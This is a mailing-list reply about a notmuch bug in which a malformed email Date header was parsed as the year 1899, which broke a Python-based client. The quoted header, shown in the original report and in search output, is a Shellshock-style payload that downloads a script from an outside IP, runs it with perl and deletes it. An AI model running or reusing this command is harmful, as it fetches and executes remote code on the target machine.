Return-Path: X-Original-To: notmuch@notmuchmail.org Delivered-To: notmuch@notmuchmail.org Received: from localhost (localhost [127.0.0.1]) by arlo.cworth.org (Postfix) with ESMTP id 904EB6DE14F0 for ; Wed, 22 Apr 2015 06:37:42 -0700 (PDT) X-Virus-Scanned: Debian amavisd-new at cworth.org X-Spam-Flag: NO X-Spam-Score: 1.136 X-Spam-Level: * X-Spam-Status: No, score=1.136 tagged_above=-999 required=5 tests=[AWL=0.483, NORMAL_HTTP_TO_IP=0.001, SPF_NEUTRAL=0.652] autolearn=disabled Received: from arlo.cworth.org ([127.0.0.1]) by localhost (arlo.cworth.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Kk4c7w3twSpS for ; Wed, 22 Apr 2015 06:37:40 -0700 (PDT) Received: from guru.guru-group.fi (guru.guru-group.fi [46.183.73.34]) by arlo.cworth.org (Postfix) with ESMTP id CA44F6DE147B for ; Wed, 22 Apr 2015 06:37:39 -0700 (PDT) Received: from guru.guru-group.fi (localhost [IPv6:::1]) by guru.guru-group.fi (Postfix) with ESMTP id 808DC100033; Wed, 22 Apr 2015 16:37:15 +0300 (EEST) From: Tomi Ollila To: Johannes Schauer , notmuch@notmuchmail.org Subject: Re: bug: notmuch cannot handle invalid Date fields In-Reply-To: <20150422065630.6330.90536@hoothoot> References: <20150422065630.6330.90536@hoothoot> User-Agent: Notmuch/0.19+107~gab55bdb (http://notmuchmail.org) Emacs/24.3.1 (x86_64-unknown-linux-gnu) X-Face: HhBM'cA~ MIME-Version: 1.0 Content-Type: text/plain X-BeenThere: notmuch@notmuchmail.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: "Use and development of the notmuch mail system." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 22 Apr 2015 13:37:42 -0000 On Wed, Apr 22 2015, Johannes Schauer wrote: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; > > When doing `notmuch search lwp-download` I get: > > thread:000000000001ea6b 1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread) > > You can see that the date is 1899-12-31 which is wrong. > > This is annoying because the python module datetime which is for example used > by the notmuch client alot cannot handle dates before the year 1900 and will > thus never show this email in its thread view but instead display an exception > every time the view is refreshed. What do you mean by that datetime cannot handle dates before 1900 ? : $ python : Python 2.7.6 (default, Mar 22 2014, 22:59:56) : ... : >>> datetime.datetime.strptime('1799-11', '%Y-%m') : datetime.datetime(1799, 11, 1, 0, 0) : >>> x=datetime.datetime.strptime('1799-11', '%Y-%m') : >>> x.isoformat() : '1799-11-01T00:00:00' Tomi > It would be great if an invalid date could either somehow default to a nil > value or be a date that is 1900 or later. > > Thanks! > > cheers, josch